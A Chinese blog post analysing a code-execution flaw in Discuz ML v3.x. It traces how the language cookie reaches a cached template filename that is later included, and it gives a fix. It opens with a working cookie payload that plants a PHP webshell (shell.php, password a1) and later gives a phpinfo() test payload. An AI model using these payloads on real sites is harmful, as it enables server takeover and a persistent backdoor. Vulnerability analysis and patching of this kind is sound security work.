很多人噴咱們最近不發技術文章,現在發一個吧,同時歡迎各位多多指教。
Discuz Ml v3.x 代碼執行分析
EXP
修改Cookie中的xxxx_language字段為以下內容即可
%27.+file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp+%2520eval%28%2524_%2547%2545%2554%255b%2522a1%2522%255d%29%253b%253f%253e%27%29%29.%27
訪問網站首頁則會在根目錄下生成木馬文件,shell.php 密碼為a1
定位漏洞的位置
解碼exp
'.+file_put_contents('shell.php',urldecode('')).
修改exp為_language=1.1.1;使其報錯
定位到653行
關鍵代碼644行
$cachefile = './data/template/'.DISCUZ_LANG.'_'.(defined('STYLEID') ? STYLEID.'_' : '_').$templateid.'_'.str_replace('/', '_', $file).'.tpl.php';
cachefile變量是緩存文件,將其寫入到/data/template/目錄下,並且由DISCUZ_LANG拼接,追蹤下DISCUZ_LANG的值
2088-2096行
global $_G;
if($_G['config']['output']['language'] == 'zh_cn') {
return 'SC_UTF8';
} elseif ($_G['config']['output']['language'] == 'zh_tw') {
return 'TC_UTF8';
} else {
//vot !!!! ToDo: Check this for other languages !!!!!!!!!!!!!!!!!!!!!
/*vot*/ return strtoupper(DISCUZ_LANG) . '_UTF8';
}
可以看到$_G['config']['output']['language']作為DISCUZ_LANG的值
全局搜索['language']
source/class/discuz/discuz_application.php 305行,發現是從cookie中拿到language的值
那麼到這裡整個漏洞的流程就很明顯了,cookie中language參數可控導致DISCUZ_LANG可控,從而導致cachefile的文件名可被注入代碼,最終include_once包含一下導致了造成代碼執行。
phpinfo驗證
Ov1T_2132_language='.phpinfo().';
修復建議
建議修改source/function/function_core.php 644行為
/*vot*/ $cachefile = './data/template/'.'sc'.'_'.(defined('STYLEID') ? STYLEID.'_' : '_').$templateid.'_'.str_replace('/', '_', $file).'.tpl.php';
刪除可控變量
其實從漏洞點的註釋上來看就知道這是一個未完成的部分,畢竟還是TODO,開發人員得背鍋。
閱讀更多 黑客入門學習 的文章